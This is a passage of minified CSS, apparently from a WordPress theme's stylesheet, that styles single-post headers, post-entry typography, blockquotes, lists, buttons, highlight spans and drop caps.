h2,.penci-header-text-white .header-standard h2 a,.penci-header-text-white .pc_titlebig_standard,.penci-header-text-white .pc_titlebig_standard a,.penci-header-text-white .post-box-meta-single span,.penci-single-style-11.penci-header-text-white .penci-standard-cat .cat>a.penci-cat-name,.penci-single-style-5.penci-header-text-white .penci-standard-cat .cat>a.penci-cat-name,.penci-single-style-6.penci-header-text-white .penci-standard-cat .cat>a.penci-cat-name,.penci-single-style-8.penci-header-text-white .penci-standard-cat .cat>a.penci-cat-name{color:#fff}}.penci-single-style-10.penci-header-text-white .header-standard .author-post span a,.penci-single-style-10.penci-header-text-white .header-standard .post-title,.penci-single-style-10.penci-header-text-white .header-standard h2,.penci-single-style-10.penci-header-text-white .header-standard h2 a,.penci-single-style-10.penci-header-text-white .pc_titlebig_standard,.penci-single-style-10.penci-header-text-white .pc_titlebig_standard a,.penci-single-style-10.penci-header-text-white .penci-standard-cat .cat>a.penci-cat-name,.penci-single-style-13.penci-header-text-white .header-standard .author-post span a,.penci-single-style-13.penci-header-text-white .header-standard .post-title,.penci-single-style-13.penci-header-text-white .header-standard h2,.penci-single-style-13.penci-header-text-white .header-standard h2 a,.penci-single-style-13.penci-header-text-white .pc_titlebig_standard,.penci-single-style-13.penci-header-text-white .pc_titlebig_standard a,.penci-single-style-13.penci-header-text-white .penci-standard-cat .cat>a.penci-cat-name,.penci-single-style-13.penci-header-text-white .post-box-meta-single span{color:#fff}i.penci-post-countview-number{font-style:normal;font-size:inherit;font-weight:inherit;color:inherit}@media only screen and (max-width:767px){.standard-post-special_wrapper{position:static;background:#fff;margin-bottom:0;padding-top:20px}.penci-single-style-16 .standard-post-special_wrapper,.penci-single-style-7 .standard-post-special_wrapper{background:0 0}.penci-header-text-white .standard-post-special_wrapper .header-standard.header-classic{margin-bottom:0}.penci-header-text-white .penci-move-title-above:after,.penci-header-text-white .standard-post-special_wrapper .container-single .post-image:after{content:none}.standard-post-image .standard-post-special_wrapper .audio-iframe,.standard-post-special_wrapper .standard-content-special{margin-bottom:20px}.penci-header-text-white .format-post-box{display:block;padding:20px}.penci-header-text-white .standard-content-special{box-shadow:none;-webkit-box-shadow:none;-moz-box-shadow:none}.pcsb-ft-o .standard-post-special_wrapper{position:absolute;left:15px;right:15px;bottom:0;display:block;z-index:10;background:unset;padding:0}}.penci-single-style-9 .penci-post-image-wrapper{background-color:#111;padding-top:40px;padding-bottom:40px;margin-bottom:40px;max-height:inherit}.penci-single-style-10 .penci-post-image-wrapper .post-image,.penci-single-style-13 .penci-post-image-wrapper .post-image,.penci-single-style-15 .penci-post-image-wrapper .post-image,.penci-single-style-20 .penci-post-image-wrapper .post-image,.penci-single-style-9 .penci-post-image-wrapper .post-image{margin-bottom:0}.penci-single-style-10 .post-format-entry-header:after,.penci-single-style-10 .post-format-entry-header:before,.penci-single-style-13 .post-format-entry-header:after,.penci-single-style-13 .post-format-entry-header:before,.penci-single-style-15 .post-format-entry-header:after,.penci-single-style-15 .post-format-entry-header:before{content:"";display:table;clear:both}.penci-single-style-10 .penci-post-image-wrapper{background-color:#111;padding-top:40px;padding-bottom:40px;max-height:inherit;margin-bottom:40px}.penci-single-style-20 .post-format-entry-header{display:flex;flex-wrap:wrap;justify-content:space-between;align-items:center}.penci-single-style-20 .penci-post-image-wrapper{border-bottom:1px solid var(--pcborder-cl);padding-top:40px;padding-bottom:40px;max-height:inherit;margin-bottom:40px}.penci-single-style-13 .penci-post-image-wrapper,.penci-single-style-15 .penci-post-image-wrapper{max-height:inherit;margin-bottom:45px;background:var(--pcaccent-cl)}.penci-single-style-10 .header-standard,.penci-single-style-10 .post-box-meta-single,.penci-single-style-13 .header-standard,.penci-single-style-13 .post-box-meta-single,.penci-single-style-15 .header-standard,.penci-single-style-15 .post-box-meta-single{text-align:left}.penci-body-single-style-10.penci-hide-pthumb .post-format-entry-header .penci-sidebar-content,.penci-body-single-style-13.penci-hide-pthumb .post-format-entry-header .penci-sidebar-content,.penci-body-single-style-15.penci-hide-pthumb .post-format-entry-header .penci-sidebar-content,.penci-body-single-style-20.penci-hide-pthumb .post-format-entry-header .penci-sidebar-content{width:100%;float:none}.penci-single-style-15 .post-format-entry-header{position:relative}.penci-single-style-15 .container.two-sidebar .penci-sidebar-content,.penci-single-style-15 .penci-post-image-wrapper .penci-sidebar-content{position:absolute;z-index:99;left:0;background:#fff;padding:30px;top:50%;transform:translateY(-50%);width:40%}.penci-single-style-15 .penci-single-s15-content{width:100vw;padding-left:20%}.penci-single-style-15 .penci-container-inside{width:var(--pcctain);margin:0 auto}.penci-single-style-15 .penci-container-inside.penci-breadcrumb{padding-top:30px}.penci-single-style-15 .penci-container-inside.penci-breadcrumb a,.penci-single-style-15 .penci-container-inside.penci-breadcrumb i,.penci-single-style-15 .penci-container-inside.penci-breadcrumb span,.penci-single-style-15 .penci-container-inside.penci-breadcrumb span a{color:#fff}.penci-body-single-style-22 .container.penci-breadcrumb{margin-top:10px}.penci-body-single-style-11 .penci-breadcrumb,.penci-body-single-style-12 .penci-breadcrumb,.penci-body-single-style-14 .penci-breadcrumb,.penci-body-single-style-16 .container.penci-breadcrumb,.penci-body-single-style-16 .penci-breadcrumb,.penci-body-single-style-17 .penci-breadcrumb,.penci-body-single-style-18 .penci-breadcrumb,.penci-body-single-style-19 .penci-breadcrumb,.penci-body-single-style-22 .container-single .header-standard,.penci-body-single-style-22 .container-single .post-box-meta-single,.penci-body-single-style-22 .container.penci-breadcrumb{text-align:center}.penci-body-single-style-22 .container-single .header-standard{margin-bottom:40px;padding-bottom:35px;position:relative}.penci-body-single-style-22 .container-single .header-standard:after{content:'';position:absolute;display:block;justify-content:center;background:var(--pcmeta-cl);width:100px;height:4px;align-self:center;bottom:0;left:50%;margin-left:-50px;transform:unset}.penci-body-single-style-22 .container-single-fullwidth .post-image{position:relative;overflow:visible;margin-bottom:80px}.penci-body-single-style-22 .post-image .penci-author-wrapper{position:absolute;bottom:-50px;left:50%;right:50%;z-index:10;width:100px;height:100px;border-radius:50%;overflow:hidden;background:#fff;padding:5px;transform:translateX(-50%);box-shadow:0 0 30px rgba(0,0,0,.08)}.penci-body-single-style-22 .post-image .penci-author-wrapper img{border-radius:50%}@media only screen and (max-width:960px){.penci-body-single-style-22 .post-image .penci-author-wrapper{width:60px;height:60px;bottom:-30px}.penci-body-single-style-22 .container-single-fullwidth .post-image{margin-bottom:40px}}@media only screen and (max-width:1169px){.penci-single-style-13 .penci-container-inside.penci-breadcrumb,.penci-single-style-13 .penci-post-image-wrapper .penci-sidebar-content .single-header{max-width:100%;float:none}.penci-single-style-13 .penci-post-image-wrapper,.penci-single-style-15 .penci-post-image-wrapper{margin-bottom:40px}.penci-body-single-style-14 .penci-single-smore .container{padding-left:0;padding-right:0}.penci-single-style-15 .container.two-sidebar .penci-sidebar-content,.penci-single-style-15 .penci-post-image-wrapper .penci-sidebar-content{transform:unset}.penci-single-style-15 .penci-single-s15-content{padding-left:10%}.penci-single-style-15 .penci-container-inside{max-width:100%}.penci-single-style-17 .container.penci-breadcrumb,.penci-single-style-19 .container.penci-breadcrumb{padding-left:0;padding-right:0}.penci-body-single-style-18 .penci-post-content-wrapper-inner{padding:20px}.penci-body-single-style-18 .penci-post-content-wrapper{padding-top:30px}.penci-single-style-20 .post-format-entry-header{flex-direction:column}.penci-single-style-20 .penci-post-image-wrapper .penci-sidebar-content,.penci-single-style-20 .penci-single-s20-content{width:100%}}@media only screen and (max-width:960px){.penci-single-style-13 .post-format-entry-header{flex-direction:column}.penci-single-style-15 .penci-single-s15-content{padding-left:0;width:100%}.penci-single-style-16:not(.penci-single-pheader-noimg).penci_sidebar #main article.post{padding-left:0;padding-right:0;margin-left:0}}@media only screen and (max-width:767px){.penci-single-style-13 .penci-post-image-wrapper .penci-sidebar-content:after,.penci-single-style-13 .penci-post-image-wrapper .penci-sidebar-content:before,.penci-single-style-13.penci-show-ft-caption .penci-post-image-wrapper .penci-sidebar-content:after{display:none}.penci-single-style-13 .penci-container-inside.penci-breadcrumb,.penci-single-style-13 .penci-post-image-wrapper .penci-sidebar-content .single-header{padding:0}.penci-single-style-21 .standard-post-special_wrapper{position:absolute;left:0;right:0;bottom:0;padding:0 30px;display:block;z-index:10;background:0 0;margin-bottom:0;padding-top:0}.penci-single-style-21 .post-image:after{content:''}.penci-single-style-21.container-single.penci-header-text-white .header-standard .post-title,.penci-single-style-21.penci-header-text-white .cat>a.penci-cat-name,.penci-single-style-21.penci-header-text-white .container.penci-breadcrumb a,.penci-single-style-21.penci-header-text-white .container.penci-breadcrumb i,.penci-single-style-21.penci-header-text-white .container.penci-breadcrumb span,.penci-single-style-21.penci-header-text-white .header-standard .author-post span a,.penci-single-style-21.penci-header-text-white .header-standard .post-title,.penci-single-style-21.penci-header-text-white .header-standard h2,.penci-single-style-21.penci-header-text-white .header-standard h2 a,.penci-single-style-21.penci-header-text-white .pc_titlebig_standard,.penci-single-style-21.penci-header-text-white .pc_titlebig_standard a,.penci-single-style-21.penci-header-text-white .post-box-meta-single span{color:#fff}.penci-author-img-wrapper .author img{max-width:30px}.penci-author-img-wrapper .author-name{font-size:12px}}@media only screen and (max-width:479px){.penci-single-style-9 .penci-post-image-wrapper{padding-top:20px;padding-bottom:20px}}.post-box-meta-single{text-align:center;margin:6px 0 0;font-size:14px}.post-box-meta-single span{color:#888}.header-standard .post-box-meta-single .author-post,.header-standard .post-box-meta-single .author-post span a,.header-standard .post-box-meta-single span{font-size:inherit}.post-box-meta-single span strong,.post-box-meta-single span time{font-size:inherit;font-family:inherit;color:inherit}.post-box-meta-single a{color:#313131}.post-box-meta-single a:hover{color:var(--pcaccent-cl)}.post-box-meta-single>span:before,.standard-top-meta>span:before{content:"";width:0;height:10px;margin:0 13px;display:inline-block;background:0 0!important;border-right:1px solid;opacity:.7}.post-box-meta-single>span:first-child:before,.standard-top-meta>span:first-child:before{content:none;display:block}#wpadminbar{z-index:9999}#wpadminbar:hover{z-index:99999}.post-image{margin-bottom:26px;text-align:center;vertical-align:top;overflow:hidden;position:relative}body.single .post-image:hover{overflow:initial}.container-single-fullwidth .post-image{margin-bottom:40px}.post-image img{max-width:100%;height:auto}.post-image.audio iframe,.standard-post-image.audio iframe{height:166px;width:100%}.container-single a[data-rel=penci-gallery-bground-content],.container-single a[data-rel=penci-gallery-image-content],.container-single-page a[data-rel=penci-gallery-image-content]{cursor:zoom-in}.penci-slick-slider{position:relative;opacity:0;transition:.4s;-webkit-transition:.4s;-moz-transition:.4s;max-height:500px}.penci-grid .penci-slick-slider,.penci-masonry .penci-slick-slider{max-height:250px;overflow:hidden}.penci-slick-slider img{width:100%}.penci-slick-slider.loaded{opacity:1;overflow:visible!important;max-height:none!important}.penci-slick-slider>button.slick-next,.penci-slick-slider>button.slick-prev{position:absolute;width:36px;height:36px;display:inline-block;top:50%;margin-top:-18px;cursor:pointer;outline:0;opacity:0;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;text-align:center;line-height:36px;background:#fff;z-index:12;border-radius:100%;-webkit-border-radius:100%;-moz-border-radius:100%;color:#313131;border:none}.penci-slick-slider>button.slick-prev{left:30px}.penci-grid .penci-slick-slider>button.slick-prev,.penci-masonry .penci-slick-slider>button.slick-prev{left:20px}.penci-slick-slider>button.slick-next{right:30px}.penci-grid .penci-slick-slider>button.slick-next,.penci-masonry .penci-slick-slider>button.slick-next{right:20px}.penci-slick-slider.loaded>button.slick-next,.penci-slick-slider.loaded>button.slick-prev{opacity:.8}.penci-slick-slider.loaded>button.slick-next:hover,.penci-slick-slider.loaded>button.slick-prev:hover,.penci-slick-slider>button.slick-next:hover,.penci-slick-slider>button.slick-prev:hover{opacity:1}.penci-slick-slider>button.slick-next i,.penci-slick-slider>button.slick-prev i{font-size:20px;display:inline-block;line-height:36px}.penci-grid .penci-slick-slider>button.slick-next,.penci-grid .penci-slick-slider>button.slick-prev{opacity:.8}.penci-grid .penci-slick-slider:hover>button.slick-next,.penci-grid .penci-slick-slider:hover>button.slick-prev{opacity:.8}.penci-grid .penci-slick-slider>button.slick-next:hover,.penci-grid .penci-slick-slider>button.slick-prev:hover{opacity:1}.penci-single-smaller-width{max-width:780px}.post-entry{margin-bottom:33px;line-height:28px}.penci-custom-html-inside-content{margin-bottom:20px}.post-entry.standard-post-entry{margin-bottom:0}.post-entry:before{content:" ";display:table}.post-entry .inner-post-entry:after{content:" ";display:table;clear:both}.post-entry.page-has-margin{margin-bottom:60px}.post-entry img{max-width:100%;height:auto}.wpb_text_column{line-height:1.8}.post-entry a:hover,.wpb_text_column a:hover{text-decoration:underline}.elementor-widget-text-editor h1,.elementor-widget-text-editor h2,.elementor-widget-text-editor h3,.elementor-widget-text-editor h4,.elementor-widget-text-editor h5,.elementor-widget-text-editor h6,.elementor-widget-text-editor hr,.post-entry h1,.post-entry h2,.post-entry h3,.post-entry h4,.post-entry h5,.post-entry h6,.post-entry hr,.woocommerce .page-description h1,.woocommerce .page-description h2,.woocommerce .page-description h3,.woocommerce .page-description h4,.woocommerce .page-description h5,.woocommerce .page-description h6,.woocommerce .page-description hr,.wpb_text_column h1,.wpb_text_column h2,.wpb_text_column h3,.wpb_text_column h4,.wpb_text_column h5,.wpb_text_column h6,.wpb_text_column hr{margin-bottom:17px}.elementor-widget-text-editor .widget ul li,.elementor-widget-text-editor p,.post-entry .elementor-widget-text-editor p{font-size:inherit;line-height:inherit;font-family:inherit;font-weight:inherit;color:inherit;text-align:inherit}.post-entry p,.woocommerce .page-description p,.wpb_text_column p{margin-bottom:17px}.post-entry h1,.post-entry h2,.post-entry h3,.post-entry h4,.post-entry h5,.post-entry h6,.woocommerce .page-description h1,.woocommerce .page-description h2,.woocommerce .page-description h3,.woocommerce .page-description h4,.woocommerce .page-description h5,.woocommerce .page-description h6,.wpb_text_column h1,.wpb_text_column h2,.wpb_text_column h3,.wpb_text_column h4,.wpb_text_column h5,.wpb_text_column h6{color:var(--pcheading-cl);letter-spacing:0;line-height:1.3em}.elementor-widget-text-editor h1,.post-entry h1,.woocommerce .page-description h1,.wpb_text_column h1{font-size:24px}.elementor-widget-text-editor h2,.post-entry h2,.woocommerce .page-description h2,.wpb_text_column h2{font-size:22px}.elementor-widget-text-editor h3,.post-entry h3,.woocommerce .page-description h3,.wpb_text_column h3{font-size:20px}.elementor-widget-text-editor h4,.post-entry h4,.woocommerce .page-description h4,.wpb_text_column h4{font-size:18px}.elementor-widget-text-editor h5,.post-entry h5,.woocommerce .page-description h5,.wpb_text_column h5{font-size:16px}.elementor-widget-text-editor h6,.post-entry h6,.woocommerce .page-description h6,.wpb_text_column h6{font-size:14px}.elementor-widget-text-editor hr,.post-entry hr,.woocommerce .page-description hr,.wpb_text_column hr{border:0;height:0;border-bottom:1px solid #dedede;clear:both}.post-password-form input[type=email],.post-password-form input[type=number],.post-password-form input[type=password],.post-password-form input[type=text]{padding:9px 20px;border:1px solid #dedede;margin-bottom:28px;font-size:12px;font-weight:400;font-family:var(--pcbody-font);max-height:50px;outline:0;height:36px;line-height:36px}.post-password-form input[type=submit]{padding:0 20px;border:none;background:#313131;color:#fff;cursor:pointer;outline:0;text-transform:uppercase;transition:opacity .3s;-webkit-transition:opacity .3s;height:36px;line-height:36px;margin-left:5px}.post-password-form input[type=submit]:hover{opacity:.85}.post-entry blockquote,.woocommerce .page-description blockquote,.wpb_text_column blockquote{padding:0;position:relative;margin:0 0 20px 0}.post-entry blockquote,.post-entry blockquote p,.woocommerce .page-description blockquote,.woocommerce .page-description blockquote p,.wpb_text_column blockquote,.wpb_text_column blockquote p{font-size:16px;color:#888;font-style:italic;line-height:1.7;text-align:left}.post-entry blockquote p,.woocommerce .page-description blockquote p,.wpb_text_column blockquote p{margin:0}.post-entry blockquote,.woocommerce .page-description blockquote,.wpb_text_column blockquote{position:relative;padding:0 0 0 40px;border:none;overflow:hidden}.post-entry .wp-block-quote,.woocommerce .page-description .wp-block-quote,.wpb_text_column .wp-block-quote{padding-left:1em;border-left:4px solid #000}.post-entry blockquote:before,.woocommerce .page-description blockquote:before,.wpb_text_column blockquote:before{color:var(--pcaccent-cl);content:"\f101";font-family:penciicon;font-size:22px;font-weight:400;line-height:1;font-style:normal;position:absolute;top:6px;left:2px}.post-entry blockquote .author,.post-entry blockquote cite,.woocommerce .page-description blockquote .author,.woocommerce .page-description blockquote cite,.wpb_text_column blockquote .author,.wpb_text_column blockquote cite{display:block;font-size:12px;text-transform:uppercase;margin-top:7px;color:var(--pcaccent-cl);font-style:normal;font-family:var(--pchead-font);font-weight:var(--pchead-wei);overflow:hidden;text-align:left;position:relative;z-index:1}.post-entry blockquote .author span,.woocommerce .page-description blockquote .author span,.wpb_text_column blockquote .author span{position:relative;display:inline-block;padding:0 10px 0 0}.post-entry blockquote .author span:after,.woocommerce .page-description blockquote .author span:after,.wpb_text_column blockquote .author span:after{content:"";position:absolute;top:50%;width:90px;height:1px;background:var(--pcaccent-cl);left:100%;opacity:.8}.penci-single-link-pages{display:block;width:100%}.penci-single-link-pages:after,.penci-single-link-pages:before{content:"";display:table;clear:both}.penci-single-link-pages a{display:inline-block;margin:0 4px 5px 4px;padding:4px 7px;line-height:1;border:1px solid;color:inherit;text-decoration:none!important;transition:all .3s;-webkit-transition:all .3s}.penci-single-link-pages a:hover{opacity:.7}.elementor-widget-table-of-contents .elementor-toc__header-title{margin-bottom:0}.post-entry .elementor-widget-table-of-contents ol,.post-entry .elementor-widget-table-of-contents ul{padding:0;margin-bottom:0}.post-entry .elementor-widget-table-of-contents ol li,.post-entry .elementor-widget-table-of-contents ul li{list-style-type:none}.post-entry.blockquote-style-2 blockquote{background:#f5f5f5;padding:10px 20px 10px 24px}.post-entry.blockquote-style-2 blockquote:before{content:"";left:0;position:absolute;height:100%;top:0;width:4px;background:var(--pcaccent-cl)}.post-entry.blockquote-style-2 .author span{padding:0 0 0 30px}.post-entry.blockquote-style-2 .author span:after{width:20px;left:0}.penci-pullqoute.align-left{max-width:460px;float:left;width:100%;margin-right:20px}.penci-pullqoute.align-right{max-width:460px;float:right;width:100%;margin-left:20px}.elementor-widget-text-editor ol,.elementor-widget-text-editor ul,.post-entry ol,.post-entry ul,.woocommerce .page-description ol,.woocommerce .page-description ul{padding-left:36px;margin-bottom:20px}.elementor-widget-text-editor .penci-sidebar-content ol,.elementor-widget-text-editor .penci-sidebar-content ul,.post-entry .penci-sidebar-content ol,.post-entry .penci-sidebar-content ul,.woocommerce .page-description .penci-sidebar-content ol,.woocommerce .page-description .penci-sidebar-content ul{padding-left:0;margin-bottom:0}.woocommerce-error::before,.woocommerce-info::before,.woocommerce-message::before{background-color:transparent!important}.elementor-widget-text-editor ol ol,.elementor-widget-text-editor ol ul,.elementor-widget-text-editor ul ol,.elementor-widget-text-editor ul ul,.post-entry ol ol,.post-entry ol ul,.post-entry ul ol,.post-entry ul ul,.woocommerce .page-description ol ol,.woocommerce .page-description ol ul,.woocommerce .page-description ul ol,.woocommerce .page-description ul ul{margin:2px 0;padding-left:22px}.elementor-widget-text-editor .penci-sidebar-content ol ol,.elementor-widget-text-editor .penci-sidebar-content ol ul,.elementor-widget-text-editor .penci-sidebar-content ul ol,.elementor-widget-text-editor .penci-sidebar-content ul ul,.post-entry .penci-sidebar-content ol ol,.post-entry .penci-sidebar-content ol ul,.post-entry .penci-sidebar-content ul ol,.post-entry .penci-sidebar-content ul ul,.woocommerce .page-description .penci-sidebar-content ol ol,.woocommerce .page-description .penci-sidebar-content ol ul,.woocommerce .page-description .penci-sidebar-content ul ol,.woocommerce .page-description .penci-sidebar-content ul ul{margin:0;padding-left:0}.elementor-widget-text-editor ul li,.post-entry ul li,.woocommerce .page-description ul li{margin-bottom:6px;position:relative;list-style-type:square;line-height:1.7}.elementor-widget-text-editor ol li,.post-entry ol li,.woocommerce .page-description ol li{margin-bottom:2px;list-style:decimal}.elementor-widget-text-editor .penci-sidebar-content ol li,.elementor-widget-text-editor .penci-sidebar-content ul li,.post-entry .penci-sidebar-content ol li,.post-entry .penci-sidebar-content ul li,.woocommerce .page-description .penci-sidebar-content ol li,.woocommerce .page-description .penci-sidebar-content ul li{list-style-type:none}.post-entry ol.wp-block-gallery,.post-entry ul.wp-block-gallery{padding:0}.sticky.post .post-header{border:1px dashed #ddd;padding:20px 0}.post-entry table{width:100%;margin-bottom:22px;border-collapse:collapse;border-left:1px solid var(--pcborder-cl);border-right:1px solid var(--pcborder-cl);border-top:1px solid var(--pcborder-cl)}.post-entry td,.post-entry th{padding:12px;border-bottom:1px solid var(--pcborder-cl);border-color:var(--pcborder-cl)}.post-entry th{font-weight:700}.post-entry em strong{font-style:italic}.pencisc-button,.post-entry .pencisc-button,.woocommerce-product-details__short-description .pencisc-button{border:none;border-radius:0;background:var(--pcaccent-cl);color:#fff;line-height:1.3;padding:10px 20px;text-align:center;transition:all .25s;font-size:14px;text-transform:uppercase;cursor:pointer;display:inline-block;text-decoration:none!important}.pencisc-button i{margin-right:5px}.pencisc-button.pencisc-icon-right i{margin:0 0 0 5px}.pencisc-align-right{float:right;margin:5px 0 20px 20px}.pencisc-align-left{float:left;margin:5px 20px 20px 0}.pencisc-button.pencisc-full,.post-entry .pencisc-button.pencisc-full,.woocommerce-product-details__short-description .pencisc-button.pencisc-full{display:block;width:100%;margin-left:0;margin-right:0}.pencisc-button,.post-entry .pencisc-button.pencisc-small,.woocommerce-product-details__short-description .pencisc-button.pencisc-small{padding:7px 12px;font-size:12px}.pencisc-button,.post-entry .pencisc-button.pencisc-large,.woocommerce-product-details__short-description .pencisc-button.pencisc-large{padding:15px 30px;font-size:18px}ul.penci_list_shortcode{list-style:none!important;list-style-type:none!important}.elementor-widget-text-editor ul.penci_list_shortcode,.post-entry ul.penci_list_shortcode,.woocommerce .page-description ul.penci_list_shortcode{padding-left:19px}.heading1-style-1 .entry-content>h1,.heading1-style-2 .entry-content>h1,.heading2-style-1 .entry-content>h2,.heading2-style-2 .entry-content>h2,.heading3-style-1 .entry-content>h3,.heading3-style-2 .entry-content>h3,.heading4-style-1 .entry-content>h4,.heading4-style-2 .entry-content>h4,.heading5-style-1 .entry-content>h5,.heading5-style-2 .entry-content>h5{padding-bottom:8px;border-bottom:1px solid var(--pcborder-cl);overflow:hidden}.heading1-style-2 .entry-content>h1,.heading2-style-2 .entry-content>h2,.heading3-style-2 .entry-content>h3,.heading4-style-2 .entry-content>h4,.heading5-style-2 .entry-content>h5{border-bottom-width:0;position:relative}.heading1-style-2 .entry-content>h1:before,.heading2-style-2 .entry-content>h2:before,.heading3-style-2 .entry-content>h3:before,.heading4-style-2 .entry-content>h4:before,.heading5-style-2 .entry-content>h5:before{content:"";width:50px;height:2px;bottom:0;left:0;z-index:2;background:var(--pcaccent-cl);position:absolute}.heading1-style-2 .entry-content>h1:after,.heading2-style-2 .entry-content>h2:after,.heading3-style-2 .entry-content>h3:after,.heading4-style-2 .entry-content>h4:after,.heading5-style-2 .entry-content>h5:after{content:"";width:100%;height:2px;bottom:0;left:20px;z-index:1;background:var(--pcborder-cl);position:absolute}.heading1-style-3 .entry-content>h1,.heading1-style-4 .entry-content>h1,.heading2-style-3 .entry-content>h2,.heading2-style-4 .entry-content>h2,.heading3-style-3 .entry-content>h3,.heading3-style-4 .entry-content>h3,.heading4-style-3 .entry-content>h4,.heading4-style-4 .entry-content>h4,.heading5-style-3 .entry-content>h5,.heading5-style-4 .entry-content>h5{position:relative;padding-left:20px}.heading1-style-3 .entry-content>h1:before,.heading1-style-4 .entry-content>h1:before,.heading2-style-3 .entry-content>h2:before,.heading2-style-4 .entry-content>h2:before,.heading3-style-3 .entry-content>h3:before,.heading3-style-4 .entry-content>h3:before,.heading4-style-3 .entry-content>h4:before,.heading4-style-4 .entry-content>h4:before,.heading5-style-3 .entry-content>h5:before,.heading5-style-4 .entry-content>h5:before{width:10px;height:100%;content:"";position:absolute;top:0;left:0;bottom:0;background:var(--pcaccent-cl)}.heading1-style-4 .entry-content>h1,.heading2-style-4 .entry-content>h2,.heading3-style-4 .entry-content>h3,.heading4-style-4 .entry-content>h4,.heading5-style-4 .entry-content>h5{padding:10px 20px;background:#f1f1f1}.heading1-style-5 .entry-content>h1,.heading2-style-5 .entry-content>h2,.heading3-style-5 .entry-content>h3,.heading4-style-5 .entry-content>h4,.heading5-style-5 .entry-content>h5{position:relative}.heading1-style-5 .entry-content>h1:before,.heading2-style-5 .entry-content>h2:before,.heading3-style-5 .entry-content>h3:before,.heading4-style-5 .entry-content>h4:before,.heading5-style-5 .entry-content>h5:before{content:"";position:absolute;left:0;bottom:0;width:200px;height:50%;transform:skew(-25deg) translateX(0);background:var(--pcaccent-cl);z-index:-1;opacity:.4}.heading1-style-6 .entry-content>h1,.heading2-style-6 .entry-content>h2,.heading3-style-6 .entry-content>h3,.heading4-style-6 .entry-content>h4,.heading5-style-6 .entry-content>h5{text-decoration:underline;text-underline-offset:2px;text-decoration-thickness:4px;text-decoration-color:var(--pcaccent-cl)}.penci_list_shortcode li{position:relative;list-style:none!important;padding-left:20px!important}.penci_list_shortcode li:before{color:var(--pcaccent-cl);content:"\f00c"!important;width:20px!important;height:auto!important;margin-left:-20px;display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;transform:none;background:0 0!important;transform:none!important;opacity:1!important;position:static!important;border:none!important}.penci_list_shortcode.penci_list-starlist li:before{content:"\f005"!important}.penci_list_shortcode.penci_list-pluslist li:before{content:"\f0fe"!important}.penci_list_shortcode.penci_list-minuslist li:before{content:"\f146"!important}.penci_list_shortcode.penci_list-editlist li:before{content:"\f044"!important}.penci_list_shortcode.penci_list-asterisklist li:before{content:"\f069"!important}.penci_list_shortcode.penci_list-thumbuplist li:before{content:"\f164"!important}.penci_list_shortcode.penci_list-folderlist li:before{content:"\f07b"!important}.penci_list_shortcode.penci_list-thumbdownlist li:before{content:"\f165"!important}.penci_list_shortcode.penci_list-heartlist li:before{content:"\f004"!important}.penci-highlight-black{-webkit-transition:color .3s;-moz-transition:color .3s;-o-transition:color .3s;transition:color .3s;background-color:rgba(0,0,0,.8);padding:2px 0;margin:0 7px 0 8px;box-shadow:6px 0 0 rgba(0,0,0,.8),-8px 0 0 rgba(0,0,0,.8);color:gray}.penci-highlight-black:hover{color:#fff}.penci-highlighted-black{background-color:rgba(0,0,0,.8);padding:2px 0;margin:0 7px 0 8px;box-shadow:6px 0 0 rgba(0,0,0,.8),-8px 0 0 rgba(0,0,0,.8);color:#fff}.penci-highlighted-red{background-color:red;padding:2px 0;margin:0 7px 0 8px;box-shadow:6px 0 0 red,-8px 0 0 red;color:#fff}.penci-highlighted-blue{background-color:#3f51b5;padding:2px 0;margin:0 7px 0 8px;box-shadow:6px 0 0 #3f51b5,-8px 0 0 #3f51b5;color:#fff}.penci-highlighted-green{background-color:green;padding:2px 0;margin:0 7px 0 8px;box-shadow:6px 0 0 green,-8px 0 0 green;color:#fff}.penci-highlighted-yellow{background-color:#ffcb00;padding:2px 0;margin:0 7px 0 8px;box-shadow:6px 0 0 #ffcb00,-8px 0 0 #ffcb00;color:#fff}.penci-highlighted-pink{background-color:pink;padding:2px 0;margin:0 7px 0 8px;box-shadow:6px 0 0 pink,-8px 0 0 pink;color:#fff}.penci-tpadding-0,.penci-tpadding-1,.penci-tpadding-2,.penci-tpadding-3,.penci-tpadding-4,.penci-tpadding-5,.penci-tpadding-6,.penci-tpadding-7{display:block;margin-bottom:17px}.penci-tpadding-1{padding-left:0;padding-right:5%}.penci-tpadding-2{padding-left:5%;padding-right:0}.penci-tpadding-3{padding-left:5%;padding-right:5%}.penci-tpadding-4{padding-left:5%;padding-right:10%}.penci-tpadding-5{padding-left:10%;padding-right:5%}.penci-tpadding-6{padding-left:10%;padding-right:10%}.penci-tpadding-7{padding-left:15%;padding-right:15%}@media (max-width:767px){.penci-tpadding-0,.penci-tpadding-1,.penci-tpadding-2,.penci-tpadding-3,.penci-tpadding-4,.penci-tpadding-5,.penci-tpadding-6,.penci-tpadding-7{padding-left:3%!important;padding-right:3%!important}}.penci-dropcap-box{float:left;display:block;background-color:var(--pcaccent-cl);color:#fff;text-align:center;text-transform:uppercase;min-width:56px;font-size:48px;line-height:50px;margin:6px 13px 0 0;padding:3px 13px}.penci-dropcap-box-outline{float:left;display:block;background-color:transparent!important;text-align:center;text-transform:uppercase;border:2px solid var(--pcaccent-cl);color:var(--pcaccent-cl);min-width:56px;font-size:48px;line-height:50px;margin:6px 13px 0 0;padding:3px 13px}.penci-dropcap-circle{-webkit-border-radius:100%;-moz-border-radius:100%;border-radius:100%;float:left;display:block;background-color:var(--pcaccent-cl);color:#fff;text-align:center;text-transform:uppercase;min-width:56px;font-size:48px;line-height:50px;margin:6px 13px 0 0;padding:3px 13px}.penci-dropcap-circle-outline{float:left;display:block;background-color:transparent!important;text-align:center;text-transform:uppercase;border:2px solid var(--pcaccent-cl);color:var(--pcaccent-cl);-webkit-border-radius:50%;-moz-border-radius:50%;border-radius:50%;min-width:56px;font-size:48px;line-height:50px;margin:6px 13px 0 0;padding:3px 13px}.penci-dropcap-regular{float:left;display:block;text-align:center;text-transform:uppercase;background-color:transparent!important;color:var(--pcaccent-cl);font-size:68px;line-height:68px;margin:0 13px 0 0;padding:0}.penci-dropcap-bold{float:left;display:block;text-align:center;text-transform:uppercase;background-color:transparent!important;color:var(--pcaccent-cl);font-weight:700;font-size:68px;line-height:68px;margin:0 13px 0 0;padding:0}.penci-ilrelated-posts{margin:20px 0;overflow:hidden;padding:17px 20px;border:1px solid var(--pcborder-cl);width:100%}.penci-ilrelated-posts.pcilrt-left{float:left;margin:5px 20px 20px 